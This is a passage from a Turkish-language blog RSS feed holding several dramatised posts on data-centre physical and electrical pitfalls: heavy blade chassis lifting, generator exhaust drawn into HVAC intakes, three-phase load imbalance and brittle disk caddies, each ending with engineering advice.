<li><strong>Ray Eksenini Tuturamama Felaketi:</strong> İki kişi nefes nefese, damarları fırlamış halde kasayı havada tutmaktadır: <em>"Ahmet biraz yukarı kaldır... Hayır hayır sol taraf girmedi... Biraz geri çek... Tutamıyorum kayıyor!"</em></li>
<li><strong>Sıkışan Parmaklar:</strong> O çelik kasanın alt kenarı ile kabin dikmesi arasına sıkışan tek bir parmak, tırnağı anında ezer ve kemiği çatlatır.</li>
</ol>
<p>Ve o an, Ahmet'in belinden gelen o meşhur ses duyulur: <em>Çıt.</em><br>
Ahmet iki büklüm yere çöker. Kasa bir tarafı raya oturmuş, bir tarafı boşta asılı kalmış halde sallanır.</p>
<hr>
<h3>Parçaları Sökmeden Taşımak: Tembelliğin İskelet Bedeli</h3>
<p>Sahada en sık yapılan affedilmez hata, kasayı "üzerindeki tüm parçalar takılı halde" tek parça olarak taşımaya çalışmaktır.</p>
<p>Oysa üreticilerin kurulum kılavuzlarında kocaman kırmızı harflerle yazar:<br>
<strong>"REMOVE ALL MODULES BEFORE LIFTING" (Kaldırmadan önce tüm modülleri sökün!)</strong></p>
<p>Profesyonel bir saha mühendisi ne yapar?</p>
<ul>
<li>Kasayı taşımadan önce içindeki 8 blade sunucuyu tek tek çıkarır ve antistatik masaya koyar.</li>
<li>Arkadaki 6 güç kaynağını söker.</li>
<li>Fan bloklarını ve switch modüllerini çıkarır.</li>
<li>Kasanın ağırlığını 115 kilodan 40 kiloya indirir!</li>
<li>İki kişi boş şasiyi tereyağından kıl çeker gibi rayın üzerine oturtur, vidalarını sıkar.</li>
<li>Ardından söktüğü parçaları tek tek yuvalarına geri takar.</li>
</ul>
<p>Bu işlem fazladan 15 dakika sürer.<br>
Fakat sahadaki aceleci ve cahil personel "Aman kim sökecek şimdi kırk tane vidayı, tut ucundan iki dakikada atalım raya" diyerek kendi omurgasını kumara yatırır.</p>
<hr>
<h3>Bilişimin Gizli Ameleliği ve İş Sağlığı</h3>
<p>Bilişim sektörü kendisini zihinsel bir beyaz yaka mesleği olarak konumlandırır. Klavyelerimizdeki kodlar soyuttur, algoritmalarımız görünmezdir.</p>
<p>Fakat o algoritmaların üzerinde koştuğu o demir yığınları son derece somuttur, ağırdır ve yerçekimine tabidir.</p>
<p>Eğer bir şirketin veri merkezinde:</p>
<ul>
<li>CE sertifikalı mekanik bir sunucu kaldırma asansörü yoksa,</li>
<li>Personele ağır kaldırma ve ergonomi eğitimi verilmemişse,</li>
<li>30 kilonun üzerindeki kasalar için en az 3-4 kişilik taşıma prosedürleri zorunlu tutulmuyorsa;</li>
</ul>
<p>O şirkette mühendislik yapılmıyordur; orada genç insanların bedenleri ucuz birer vinç gibi sömürülüyordur.</p>
<p>Hiçbir sunucu kabini, hiçbir blade altyapısı ve hiçbir veritabanı sizin omurganızdan daha değerli değildir.</p>
<p>Server lift almayan patronun kasasını sırtlamayın. Kasayı sökün, hafifletin, vinç isteyin; ama asla iki parça çelik uğruna ömrünüzün kalanını fıtık korsesiyle geçirmeyin.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Veri Merkezi</category>
            <category>İş Sağlığı</category>
            <category>Blade Server</category>
            <category>Donanım</category>
            <category>SysAdmin</category>
            <category>Kültür</category>
            <category>Altyapı</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/sunucu-tasirken-fitik-olmak-4u-blade-kasalar-ve-ciplak-bedenin-imtihani/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Jeneratörün Egzoz Dumanı": Havalandırma Emişinin Kendi Kendini Zehirlemesi]]></title>
            <link>http://localhost:3000/blog/post/jeneratorun-egzoz-dumani-havalandirma-emisinin-kendi-kendini-zehirlemesi</link>
            <guid>jeneratorun-egzoz-dumani-havalandirma-emisinin-kendi-kendini-zehirlemesi</guid>
            <pubDate>Wed, 13 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Elektrik kesildiğinde devreye giren dizel jeneratörün egzoz dumanını doğrudan içeri çeken taze hava menfezleri (HVAC); dumanla dolan kabin odaları ve sahte yangın alarmıyla tetiklenen gazlı söndürme kıyameti.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/jeneratorun-egzoz-dumani-havalandirma-emisinin-kendi-kendini-zehirlemesi/thumbnail" alt=""> Acil tıp kliniklerinde kış aylarının en sinsi, en acımasız katili karbonmonoksit (CO) zehirlenmesidir. Lodoslu havalarda ters esen rüzgar yüzünden bacadan içeri tepen soba dumanı veya kapalı bir otoparkta motoru çalışır vaziyette bırakılan bir arabanın egzozu... Karbonmonoksit kokusuzdur, renksizdir, tahriş etmez. Kana karıştığı anda kandaki hemoglobine oksijenden tam iki yüz kat daha büyük bir açgözlülükle bağlanır (karboksihemoglobin). İnsanlar hiçbir şey hissetmez; sadece hafif bir tatlı uyku hali çöker ve uykularında sessizce hayatlarını kaybederler. İnsanı ısıtsın veya taşısın diye yakılan yakıt, doğru tahliye edilmediğinde kendi sahibinin celladına dönüşür.</p>
<p>Veri merkezi mimarisinde, bina inşasında ve kritik tesis tasarımında da tam olarak bu ters baca felaketini birebir yaşatan, görünce "Bunu hangi akıl çizdi?" dedirten devasa bir mimari körlük vardır: <strong>Yedek Jeneratörün Egzoz Borusunu, Binanın Taze Hava Emiş Menfezinin (HVAC Intake) Yanına Koymak.</strong></p>
<p>Sistemi elektrik kesintisinden kurtarsın diye kurulan trilyonluk bir dizel jeneratörün; devreye girdiği ilk dakikada kendi egzoz gazıyla veri merkezini boğup yangın söndürme sistemlerini patlatarak tüm operasyonu yerle bir etmesi, sektörün en trajik altyapı komedilerinden biridir.</p>
<hr>
<h3>Mimarın Çizim Masasındaki Sessiz Cinayet</h3>
<p>Bir veri merkezinin binası projelendirilirken mekanik ve inşaat ekipleri iki farklı dünyada çalışırlar:</p>
<ol>
<li><strong>Güç Ekibi:</strong> "Jeneratörü binanın arka bahçesine, yükleme rampasının yanına koyalım; yakıt tankeri kolay yanaşsın, egzoz borusunu da duvardan 3 metre yukarıya verelim gitsin."</li>
<li><strong>İklimlendirme (HVAC) Ekibi:</strong> "Beyaz odanın pozitif basıncını korumak ve içerideki havayı tazelemek için binaya taze hava emiş santrali (Make-up Air Unit) kuralım. Emiş menfezini de binanın arka cephesine, temiz hava alsın diye rampa tarafına asalım."</li>
</ol>
<p>İki ekip birbiriyle konuşmaz. Şantiye biter, bina teslim edilir.</p>
<p>Gözünüzün önüne getirin:<br>
Binanın arka duvarında devasa bir menfez vardır; içeriye dakikada binlerce metreküp taze hava emmektedir. Ve o menfezin tam 8 metre altında, rüzgar yönünün tam karşısında, 1.500 kVA'lık devasa bir dizel jeneratörün 200 milimetrelik siyah çelik egzoz bacası durmaktadır!</p>
<p>Yıllarca hiçbir şey olmaz. Çünkü şehir şebekesi elektriği kesilmemiştir. Jeneratör ayda bir kez sadece 10 dakika rölantide çalıştırılmış, onda da kimse arkaya bakmamıştır.</p>
<p>Ta ki o fırtınalı sonbahar gecesine kadar.</p>
<hr>
<h3>İlk Marş ve İçeri Dolan Katran Bulutu</h3>
<p>Gece saat 01:15. Şehirde şiddetli bir fırtına kopar, trafo patlar ve veri merkezinin ana şebeke enerjisi kesilir.</p>
<p>UPS aküleri yükü sırtlar. Jeneratör kontrol paneli marşa basar: <em>Gıvv... Gıvv... VROOOM!</em><br>
On iki silindirli devasa Cummins veya Perkins dizel motor homurdanarak uyanır.</p>
<p>Dizel motorlar ilk kalkış anında (özellikle soğuk havada) silindirlerindeki zengin karışımı tam yakamazlar. Egzoz bacasından gökyüzüne doğru simsiyah, zift gibi, yoğun kurum ve partikül yüklü, geniz yakan devasa bir dizel duman bulutu fışkırır.</p>
<p>Ve o anda fırtına rüzgarı dumanı duvara doğru yapıştırır.<br>
Tam o duman bulutunun üzerinde çalışan HVAC taze hava emiş fanları ne yapar?<br>
O devasa siyah duman kütlesini adeta dev bir elektrikli süpürge gibi hüp diye içine çeker!</p>
<p>Santralin filtreleri birkaç saniye içinde katranla sıvanır, filtrelerin kenarlarından kaçan yoğun karbonmonoksit ve kurum bulutu, havalandırma kanallarının içinden geçerek doğrudan veri merkezinin beyaz odasına (sunucuların tam kalbine) üflenmeye başlar!</p>
<hr>
<h3>Beyaz Odada Kıyamet: VESDA Alarmı ve Gaz Tahliyesi</h3>
<p>Kabin odasının içinde o sırada gece nöbetçisi olan teknisyen monitörlerin başındadır. Birdenbire tavan menfezlerinden odaya gri-siyah bir sis bulutunun indiğini görür. Odayı saniyeler içinde yanık mazot ve egzoz kokusu kaplar. Göz gözü görmez hale gelir.</p>
<p>Ve kabin odasının tavanındaki ultra hassas yangın algılama sistemi devreye girer: <strong>VESDA (Very Early Smoke Detection Apparatus).</strong></p>
<p>VESDA boruları havadaki partikülleri sürekli lazerle tarar. Odaya dolan milyarlarca dizel kurumu partikülü lazer ışınının önünü kestiği an sistem kararını verir:<br>
<code>CRITICAL: CATASTROPHIC FIRE DETECTED IN WHITE SPACE - ZONE 1.</code></p>
<p>Tahliye sirenleri kulakları yırtarcasına çalmaya başlar: <em>Dİİİİ-VUUUU-Dİİİİ-VUUUU!</em><br>
Flaşörler kör edici bir hızla yanıp söner.<br>
Geri sayım paneli kırmızı rakamlarla geri saymaya başlar:<br>
<strong>30... 29... 28...</strong></p>
<p>Teknisyen panik içinde dumanın içinde öksürerek kapıya doğru koşar. İçeride alev yoktur, yanan tek bir kablo bile yoktur; ama sistem odanın cayır cayır yandığına yüzde yüz emindir!</p>
<p>Sarı "Abort" butonuna basacak kimse kalmamıştır.<br>
Sayaç sıfıra vurur:<br>
<strong>"GÜMMMM!"</strong></p>
<p>Tavandaki çelik borulardan tonlarca FM-200 veya Novec gazı 40 bar basınçla odaya boşalır. 130 desibellik akustik şok dalgası mekanik disklerin kafalarını disklere çarpar, storage'lar kilitlenir, pozitif basınç menfezleri fırlar.</p>
<p>Bina kendi kendini başarıyla imha etmiştir!<br>
Jeneratör bahçede gururla elektrik üretmeye devam etmektedir; ama binanın içinde artık elektriğin besleyebileceği canlı tek bir sunucu bile kalmamıştır!</p>
<hr>
<h3>Egzoz Mühendisliği: Yükseklik ve Rüzgarın İradesi</h3>
<p>Bu felaket, Türkiye'deki pek çok plaza altı veri merkezinde, hastane bilgi işlem odasında ve organize sanayi bölgesi tesisinde kıl payı atlatılmış veya bizzat yaşanmış bir tasarım ayıbıdır.</p>
<p>Gerçek bir tesis mühendisliği şu kuralları şart koşar:</p>
<ol>
<li><strong>Çatı Seviyesinde Egzoz Tahliyesi:</strong> Jeneratör zemin katta veya bodrumda olsa bile; egzoz borusu asla bahçe duvarında sonlandırılamaz! Egzoz hattı paslanmaz çelik çift cidarlı borularla binanın en tepe noktasına, çatının da en az 3 metre üzerine kadar uzatılmalıdır.</li>
<li><strong>Hava Emiş Menfezleriyle Zıt Konumlandırma:</strong> Taze hava emiş kanalları ile jeneratör egzozları binanın tamamen zıt cephelerinde yer almalıdır. Bölgenin hakim rüzgar yönü (meteorolojik rüzgar gülü analizi) dikkate alınmalı; egzoz daima rüzgarın binadan uzaklaştığı tarafa verilmelidir.</li>
<li><strong>HVAC Yangın ve Duman Damperi Entegrasyonu:</strong> Taze hava emiş santrallerinin girişine optik duman dedektörleri ve motorlu yangın damperleri (smoke dampers) konulmalıdır. Dışarıdan en ufak bir duman kokusu veya partikül algılandığı anda damperler "şak" diye kapanmalı ve taze hava girişi anında kesilerek bina iç sirkülasyona geçmelidir.</li>
<li><strong>Jeneratör Odası Pozitif/Negatif Basınç İzolasyonu:</strong> Jeneratör odasının havası asla ana bina havalandırmasıyla temas etmemeli; tamamen bağımsız menfezlerle dışarıdan emilip dışarıya atılmalıdır.</li>
</ol>
<p>Tıpta soba dumanını içeri tepen baca bir aileyi uykusunda yok eder.</p>
<p>Veri merkezinde de egzozunu kendi emiş ağzına üfleyen jeneratör, şirketinizin tüm dijital hafızasını sahte bir yangın alarmıyla boğar. Altyapı sadece elektrik kablosu döşemek değildir; rüzgarın yönünü, havanın akışını ve gazın kimyasını hesaplama sanatıdır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Veri Merkezi</category>
            <category>Jeneratör</category>
            <category>HVAC</category>
            <category>İklimlendirme</category>
            <category>Yangın Güvenliği</category>
            <category>Altyapı</category>
            <category>Mimari Hata</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/jeneratorun-egzoz-dumani-havalandirma-emisinin-kendi-kendini-zehirlemesi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Göz Kararı" Yük Dengeleme: Fazlar Arası Dengesizlik ve Nötr Hattının İntiharı]]></title>
            <link>http://localhost:3000/blog/post/goz-karari-yuk-dengeleme-fazlar-arasi-dengesizlik-ve-notr-hattinin-intihari</link>
            <guid>goz-karari-yuk-dengeleme-fazlar-arasi-dengesizlik-ve-notr-hattinin-intihari</guid>
            <pubDate>Tue, 12 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Üç fazlı elektrik dağıtımında L1, L2 ve L3 hatlarını göz kararı yüklemenin faturası; aşırı yüklenen tek fazın üç kutuplu ana şalteri attırması ve nötr iletkeninde kavrulan bakır baralar.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/goz-karari-yuk-dengeleme-fazlar-arasi-dengesizlik-ve-notr-hattinin-intihari/thumbnail" alt=""> Yoğun bakımda ve acil tıpta hekimlerin karşılaştığı en sinsi hemodinamik krizlerden biri "Dağılımsal Şok"tur (Septik veya Anafilaktik Şok).</p>
<p>Hastanın damarlarındaki toplam kan miktarı 5 litredir; yani hacimsel olarak eksik bir şey yoktur. Kalp de kasılmaya devam etmektedir. Fakat bağışıklık sisteminin kontrolsüz tepkisi yüzünden vücuttaki kılcal damarlar belirli bölgelerde aşırı genişler (vazodilatasyon) ve kanın yüzde yetmişi bir anda cilt ve karın içi organ havuzuna hücum eder.</p>
<p>Sonuç? Toplam kan miktarı normal olmasına rağmen; beyne, kalbe ve böbreklere giden kan akımı sıfıra yaklaşır. Dolaşımdaki bu ölümcül dengesizlik yüzünden hasta, damarları kan doluyken organ iskemisinden ve hipotansiyondan hayatını kaybeder. Mesele toplam kaynak değil; o kaynağın homojen dağılıp dağılmadığıdır.</p>
<p>Veri merkezlerinde, sunucu odalarında ve endüstriyel elektrik panolarında da tam olarak bu dağılımsal şoku temsil eden, görünüşte devasa bir enerji kapasitesi varken sistemi karanlığa gömen büyük bir mühendislik ihmali vardır: <strong>Üç Faz Arasındaki Düzensiz Akım Dengesizliği (Phase Imbalance).</strong></p>
<p>Ve bu ihmalin altında yatan zihniyet her zaman aynıdır: Kabinlere sigorta bağlarken Amper hesabı yapmak yerine "Göz kararı dağıttık işte abi" diyen kaba elektrikçilik alışkanlığı.</p>
<hr>
<h3>Üç Fazın Simetrisi: R-S-T Dünyası</h3>
<p>Endüstriyel tesisler ve kurumsal veri merkezleri standart ev elektriği gibi tek faz (monofaze - 230V) ile beslenmez. Binaya üç bağımsız faz (L1, L2, L3 veya eski adıyla R-S-T) ve bir ortak Nötr hattı girer. İki faz arasındaki gerilim 400 Volt, herhangi bir faz ile nötr arasındaki gerilim ise 230 Volttur.</p>
<p>Elektrik mühendisliğinin doğası gereği, üç fazlı bir sistem mükemmel bir açısal simetri üzerine kuruludur: Üç faz sinüs dalgası şeklinde birbirini 120 derecelik faz farkıyla takip eder.</p>
<p>Eğer bu üç faza bağladığınız yükler birbirine eşitse (örneğin L1'den 50A, L2'den 50A, L3'ten 50A çekiliyorsa) sistem <strong>tam dengededir (balanced load).</strong><br>
Bu durumda o 120 derecelik açı farkı yüzünden dönüş akımları birbirini vektörel olarak sıfırlar ve ortak Nötr hattından geçen akım <strong>neredeyse sıfır Amper</strong> olur!</p>
<p>Transformatör serin çalışır, UPS'in evirici katı maksimum verimle döner, elektrik faturanız optimize olur.</p>
<p>Fakat sahada işler asla o teorik ders kitaplarındaki gibi yürümez.</p>
<hr>
<h3>Tembelliğin Şaheseri: L1 Fazının Kavrulması</h3>
<p>Bir veri merkezine yeni kabinler kurulur. Dağıtım panosunun başına geçen teknisyen kabloları bağlamaya başlar:</p>
<ul>
<li>Kabin 1'e L1 fazını verir.</li>
<li>Kabin 2'ye de kolayına geldiği için L1 fazını bağlar.</li>
<li>Kabin 3'e de L1 fazından kablo çeker.</li>
<li>"L2 ve L3'e sonraki kabinlerde bakarız" der.</li>
</ul>
<p>Aylar geçer... Şirket büyür. Kabin 1 ve Kabin 2'ye onlarca yüksek güçlü 2U sanallaştırma sunucusu, GPU'lu yapay zeka makineleri ve disk üniteleri takılır. Kabin 4 ve 5 ise yarı boş kalmıştır.</p>
<p>Panonun kapağını açıp dijital analizör ekranına baktığınızda karşınıza çıkan tablo dehşet vericidir:</p>
<ul>
<li><strong>L1 Fazı: 152 Amper!</strong> (Panonun ana sigortası 160 Amperliktir; yani L1 fazı <strong>%95 yükte</strong> alev gibi yanmaktadır!)</li>
<li><strong>L2 Fazı: 34 Amper!</strong> (Kapasitesinin sadece %21'ini kullanmaktadır, bomboştur.)</li>
<li><strong>L3 Fazı: 28 Amper!</strong> (Kapasitesinin sadece %17'sini kullanmaktadır, uyumaktadır.)</li>
</ul>
<p>Toplamda panonun taşıma kapasitesi 480 Amperdir. Sistemde çekilen toplam akım ise sadece 214 Amperdir!<br>
Yani kağıt üzerinde bakarsanız kapasitenin yarısı bile dolmamıştır! Yönetici panonun toplam gücüne bakar ve rahatlar: <em>"Daha çok yerimiz var, yeni sunucuları takın."</em></p>
<p>İşte ölümcül tuzak tam buradadır.</p>
<hr>
<h3>Nötr Hattında Yükselen Yangın ve Aşırı Isınma</h3>
<p>Fazlar arasındaki simetri bozulduğunda ilk kurban Nötr hattı olur.</p>
<p>Normalde dönüş akımlarını birbirini sönümlemesi gerekirken, L1 fazındaki o devasa 152 Amperlik akım diğer fazlar tarafından dengelenemez. Vektörel denge dağılır ve Nötr iletkeni üzerinden <strong>100 Amperin üzerinde kontrolsüz bir dönüş akımı</strong> akmaya başlar!</p>
<p>Üstelik sunucuların içindeki anahtarlamalı güç kaynaklarının (SMPS) ürettiği 3. harmonikler (Triplen Harmonics - 150 Hz) nötr hattında toplanır.</p>
<p>Sonuç?<br>
Panonun içindeki Nötr klemensi ve bakır barası el değmeyecek kadar ısınır. Termal kamerayla panoya baktığınızda Nötr kablosunun kıpkırmızı parladığını görürsünüz. İzolasyon plastiği kavrulur, panodan yanık bakalit kokusu yükselmeye başlar. Nötr hattının kopması veya yanması ise veri merkezindeki cihazların üzerine aniden 400 Volt faz-faz gerilimi binmesi ve tüm sunucuların tek bir patlamayla yanması demektir!</p>
<hr>
<h3>Şalterin İdam Kararı: 3 Kutuplu Kıyamet</h3>
<p>Felaketin ikinci perdesi ise şalterin mekanik mantığında saklıdır.</p>
<p>Endüstriyel panolarda ana şalterler (MCCB - Kalıplı Kutu Devre Kesici) tek fazlı değil; <strong>3 Kutuplu (3-Pole) veya 4 Kutuplu</strong> olarak üretilir. Yani üç fazın mekanik mandalı birbirine demir bir çubukla bağlıdır.</p>
<p>Senaryo basittir:<br>
L1 fazı zaten 152 Amperde sınırda çalışırken; pazartesi sabahı Kabin 1'deki bir sunucu arızalanıp yeniden başlar veya fanları son devire çıkar. Çekilen anlık akım 152 Amperden <strong>168 Ampere</strong> sıçrar.</p>
<p>160 Amperlik şalterin L1 kutbundaki termik-manyetik açıcı anında tepki verir:<br>
<strong>"ŞRAKKK!"</strong></p>
<p>Şalter atar!<br>
Ve şalter üç kutuplu olduğu için; sadece aşırı yüklenen L1 fazını kesmekle kalmaz, yanında tıkır tıkır çalışan ve üzerinde hiçbir sorun olmayan <strong>L2 ve L3 fazlarının da elektriğini aynı anda keser!</strong></p>
<p>Tüm veri merkezi bir anda zifiri karanlığa gömülür.</p>
<p>Mühendisler panonun başına toplanır:<br>
<em>"Şalter nasıl atar? Toplam 480 Amperlik panomuz var, sistem toplamda 200 Amper bile çekmiyordu!"</em></p>
<p>Evet, toplam kapasiteniz vardı; ama o kapasiteyi tek bir bacağa yükleyip diğer iki bacağı boş bıraktığınız için, o zayıf bacak kırıldığında tüm gövdeyi yerle bir etmiştir.</p>
<hr>
<h3>Faz Mühendisliği: Miliamper Düzeyinde Denge</h3>
<p>Gerçek bir veri merkezi operasyonu göz kararı elektrikçiliği kapıdan içeri sokmaz:</p>
<ol>
<li><strong>Faz Dağıtım Matrisi (Phase Balancing Matrix):</strong> Kabinlere çekilen her bir PDU'nun hangi faza bağlı olduğu (PDU-1 -> L1, PDU-2 -> L2, PDU-3 -> L3) bir Excel tablosunda veya DCIM yazılımında net olarak haritalandırılmalıdır. Yeni bir sunucu ekleneceğinde sunucu rastgele boş prize değil; o an akımı en düşük olan faza bağlı PDU'ya takılmalıdır.</li>
<li><strong>Akıllı Üç Fazlı PDU'lar (3-Phase Intelligent PDU):</strong> Kabin içinde üç fazı birden alan ve her bir fazın akımını ayrı ayrı ekranda gösteren modern PDU'lar kullanılmalıdır. Mühendis fişi takarken L1, L2 ve L3 yüklerini canlı olarak görmelidir.</li>
<li><strong>Maksimum %10 Dengesizlik Kuralı:</strong> L1, L2 ve L3 fazları arasındaki akım farkı hiçbir zaman <strong>%10 ila %15 sınırını</strong> aşmamalıdır. Bir faz 100A çekiyorsa, diğer fazlar en az 85A - 90A bandında dengelenmelidir.</li>
<li><strong>Nötr İletkeni Kesiti:</strong> Yüksek harmonik üreten sunucu yüklerinde nötr kablosunun kesiti, faz kablolarının en az 1.5 - 2 katı (Double Neutral) seçilmelidir.</li>
</ol>
<p>Tıpta dolaşım dengesi bozulan hastanın kalbinde 5 litre kan olması onu kurtarmaz; beyin kansızsa insan ölür.</p>
<p>Veri merkezinde de panonuzun megavatlık kapasitesi olması sizi kurtarmaz; tek bir fazı aşırı yüklerseniz, o fazın şalteri tüm dünyanızı karartır. Elektriğe saygı duyun; yükü paylaştırın, sistemi dengede tutun.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Elektrik</category>
            <category>Veri Merkezi</category>
            <category>Üç Faz</category>
            <category>PDU</category>
            <category>Altyapı</category>
            <category>SysAdmin</category>
            <category>Donanım</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/goz-karari-yuk-dengeleme-fazlar-arasi-dengesizlik-ve-notr-hattinin-intihari/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Diski Yuvaya Oturturken Gelen O Kırılma Sesi": Plastik Kızak (Caddy) Yorgunluğu]]></title>
            <link>http://localhost:3000/blog/post/diski-yuvaya-oturturken-gelen-o-kirilma-sesi-plastik-kizak-caddy-yorgunlugu</link>
            <guid>diski-yuvaya-oturturken-gelen-o-kirilma-sesi-plastik-kizak-caddy-yorgunlugu</guid>
            <pubDate>Mon, 11 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Yıllarca termal strese maruz kalıp gevrekleşen sunucu disk kızaklarının (caddy) kriz anında elde kalması; ne içeri itilebilen ne dışarı çekilebilen disklerin yarattığı kilitlenme dehşeti.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/diski-yuvaya-oturturken-gelen-o-kirilma-sesi-plastik-kizak-caddy-yorgunlugu/thumbnail" alt=""> Acil serviste ve ambulansta çalışan her sağlıkçının kabuslarına giren nadir ama dehşet verici anlar vardır. Kalbi durmuş bir hastaya acil entübasyon yapacaksınızdır; hastanın ağzını açar, sol elinizle laringoskopu kavrar, dili kenara ekarte edip ses tellerini görmek için yukarı doğru kaldırırsınız. Ve tam o kritik saniyede, yıllarca sterilizasyon kimyasallarına ve neme maruz kalmış o plastik veya kalitesiz alaşımlı laringoskop bıçağının tırnağı "ÇAT!" diye kırılır!</p>
<p>Elinizde sadece sapı kalmıştır; hastanın ağzında kırık bir metal-plastik parçası, akciğerlere hava gitmeyen bir trakea ve sıfıra doğru hızla akan bir yaşam süresi. Bir hekim için dünyadaki en kahredici an; tıbbi bilgisi veya teşhisi yüzünden değil, avucundaki beş liralık bir malzemenin yorgunluğu yüzünden çaresiz kalmaktır.</p>
<p>Sunucu donanımı, depolama üniteleri ve veri merkezi bakım operasyonlarında da tam olarak bu entübasyon kabusunu yaşatan, sistem yöneticisinin omuriliğinden aşağı kaynar sular döken fiziksel bir kaza vardır: <strong>Disk Kızağının (Caddy) Plastik Mandalının Elde Kalması.</strong></p>
<hr>
<h3>Beş Yıllık Fırın: Polimerlerin Sessiz Ölümü</h3>
<p>Modern kurumsal sunucularda (Dell PowerEdge, HPE ProLiant, Supermicro) diskler doğrudan şasiye vidalanmaz; "Drive Caddy" (veya Tray) adı verilen özel kızakların içine oturtulur. Bu kızağın gövdesi genellikle ince delikli alüminyum sacdandır; fakat diski yuvaya kilitleyen, arkadaki SAS backplane soketine kaldıraç kuvvetiyle iten ve diski dışarı çeken o yaylı mandal mekanizması <strong>polikarbonat veya ABS plastikten</strong> üretilir.</p>
<p>Şimdi o plastiğin yaşadığı hayatı düşünün:<br>
Bir sunucunun içinde yan yana dizili 24 adet 10.000 RPM kurumsal SAS disk çalışmaktadır.</p>
<ul>
<li>Diskler çalışırken kendi gövdelerinden 45°C - 55°C ısı yayar.</li>
<li>Ön ızgaradan giren hava kurudur; ortam nemi düşüktür.</li>
<li>Sunucu fanları 7 gün 24 saat boyunca mikroskobik düzeyde yüksek frekanslı bir mekanik titreşim üretir.</li>
</ul>
<p>Plastik bir polimer malzemedir. Yıllar boyunca aralıksız sıcak-kuru hava döngüsüne ve mekanik titreşime maruz kalan polimerlerin içindeki kimyasal bağlar gevşer, plastiğe esneklik veren plastifiyan kimyasallar buharlaşır.</p>
<p>Buna malzeme biliminde <strong>"Termal Yaşlanma ve Gevşeme" (Polymer Degradation / Embrittlement)</strong> denir.</p>
<p>Dışarıdan baktığınızda siyah kızak sapasağlam görünür. Ama içten içe artık esnek bir plastik değildir; adeta kuru bir bisküvi gibi gevrek, kırılgan ve çıt kırıldım bir kireç taşına dönüşmüştür.</p>
<hr>
<h3>O Uğursuz "ÇIIIRTT" ve Yere Düşen Parça</h3>
<p>Saat gece 03:45. Şirketin ana veritabanı storage'ında üçüncü disk arıza yapmıştır. Sistem yöneticisi elinde yeni yedek SAS diskiyle soğuk koridora girer.</p>
<p>Arızalı diskin önündeki turuncu LED yanıp sönmektedir.<br>
Mühendis parmağıyla mandalın minik düğmesine basar. Mandal yaylanır: "Pıt."<br>
Diski çeker, eski diski kızaktan söker, yeni diski kızağa vidalar. Her şey prosedüre uygundur.</p>
<p>Diski kasanın yuvasına doğru iter. Disk içeri girer. Kızağın arkadaki SAS yuvasına tam kilitlenmesi için o mandalın bir kaldıraç gibi yavaşça kapatılması gerekir.</p>
<p>Mühendis mandalı kavrar, içeri doğru bastırır.<br>
Ve o son iki milimetrede...<br>
<strong>"ÇIIIRTT... ÇAT!"</strong></p>
<p>Mandalın gövdeye bağlanan o incecik plastik pivot tırnağı ortadan ikiye kırılır!<br>
Mandal fırlar, yükseltilmiş tabanın delikli karosunun arasına düşüp kaybolur. Mühendisin elinde ise sadece kırık, anlamsız bir plastik parçası kalmıştır.</p>
<p>Ve o an mühendis kasanın yuvasına bakar. Karşısındaki tablo tam bir dehşettir.</p>
<hr>
<h3>Arafta Kalan Disk: Ne İçeri, Ne Dışarı!</h3>
<p>Kızak mandalı kırıldığı an, disk mekanik bir kilitlenme arafına düşmüştür:</p>
<ol>
<li><strong>İçeri İtemezsiniz:</strong> Disk arkadaki SAS backplane soketine henüz tam oturmamıştır! Pinler temas etmediği için disk elektrik almamakta, kontrolcü diski görmemektedir. Kızağın arkasından çıplak parmaklarınızla veya tornavidayla içeri doğru bastırmaya kalksanız; diskin dengesiz girmesiyle arkadaki 5 bin dolarlık SAS backplane kartını kırma riskiniz yüzde doksandır!</li>
<li><strong>Dışarı Çekemezsiniz:</strong> Kızağın üzerindeki tutacak kol (handle) kırılıp düştüğü için, diski tutup dışarı çekeceğiniz hiçbir fiziksel çıkıntı kalmamıştır! Kasa ile disk arasındaki tolerans milimetrenin onda biri kadardır; araya tırnağınızı sokamazsınız, pense girmez, cımbız tutmaz.</li>
</ol>
<p>Disk yuvanın içinde adeta bir mezara gömülmüş gibi sıkışıp kalmıştır!</p>
<p>Canlı çalışan sunucunun diğer 23 diski vızır vızır dönmektedir. Mühendis ter içinde kabin önünde diz çöker. Cebinden kargaburun çıkarmaya çalışır, tornavidanın ucuyla kenardan kanırtmayı dener.<br>
Fakat yaptığı her kontrolsüz hamle:</p>
<ul>
<li>Kasanın içindeki çalışan diğer disklerin titreşimden (vibration shock) hata vermesine,</li>
<li>Kızağın metal tırnaklarının kasanın içine bükülmesine,</li>
<li>Ya da tornavidanın kayıp komşu canlı diskin mandalına çarpıp onu da yerinden çıkarmasına yol açabilir!</li>
</ul>
<p>Üç dakikalık basit bir disk değişimi, beş gramlık kırık bir plastik yüzünden kabin başında saatlerce süren bir cerrahi ameliyata ve kriz masasına dönüşür.</p>
<hr>
<h3>Malzeme Yorgunluğuna Karşı Saha Tedbirleri</h3>
<p>Bu kaza sahadaki kıdemli mühendislerin başına en az bir kez gelmiş acı bir tecrübedir. Bu tür bir çaresizliğe düşmemek için altyapı disiplini şunları emreder:</p>
<ul>
<li><strong>Asla Eski Kızağı Kullanmayın:</strong> Şirketiniz kurumsal sunucularına yeni disk alırken tasarruf olsun diye "çıplak disk" (bare drive) alıp eski arızalı diskin 5 yıllık yorgun kızağına monte etmeye kalkmayın! Yeni diskler daima kendi sıfır, taze kızağıyla (tray-caddy assembly) birlikte takılmalıdır.</li>
